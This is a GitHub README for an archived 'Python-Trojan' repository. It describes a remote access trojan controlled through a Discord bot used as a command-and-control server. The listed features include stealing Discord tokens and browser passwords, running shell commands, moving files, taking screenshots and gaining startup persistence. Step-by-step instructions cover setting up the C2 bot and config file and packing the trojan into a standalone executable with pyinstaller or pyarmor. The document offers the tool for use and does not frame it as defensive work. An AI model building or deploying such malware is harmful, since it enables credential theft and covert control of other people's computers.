Skip to content
This repository was archived by the owner on Dec 26, 2024. It is now read-only.
/ Python-Trojan Public archive

A Python Trojan that uses Discord as a C2 server, can extract Discord Tokens, Passwords (chrome, edge, opera, etc) and control the computer.

License

Notifications You must be signed in to change notification settings

Jeff53978/Python-Trojan

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

64 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Python-RAT

An Python Remote Administration Tool that works on Discord. Supports multiple exploitation commands.

Features

!help - Help command
!ping - Ping command
!cd <path> - Change directory
!ls - List directory
!download <file> - Download file
!upload <link> - Upload file
!shell <ps> - Execute shell command
!run <file> - Run an file
!exit - Exit the session
!screenshot - Take a screenshot
!tokens - Get all discord tokens
!startup - Add to startup

Setup

Installing required packages

pip install -r requirements.txt

Creating Server

Create a new discord server and copy the guild id, if you don't know how to get the guild id please read this

Creating the bot

Please go to Discord Developer Portal and create an New Application, then you need to enter a name like C2 or C&C server. go to Bot in the left sidebar, Press Add Bot Reset The token and put it in Configuration. Scroll down to the bottom until you see MESSAGE CONTENT INTENT enable it and press on OAuth2 in the left sidebar, and then URL Generator press bot and below Administrator, copy the link ad the bottom and paste it in your webbrowser to invite the bot to your server.

Configuration

Open config.json and fill in your discord token and guild id, DM me on Jeff_#2475 for help. Example shown below.

{
    "token": "Your discord bot token",
    "guild_id": "The guild id of the C2 server"
}

Compiling to an Executable

To compile this tool to an executable please install an Python compiler like nuitka, pyinstaller or pyarmor pack. Here is an example of compiling with Pyinstaller

Installing Pyinstaller

pip install pyinstaller

Compiling Source

pyinstaller --onefile --add-data="config.json;." main.py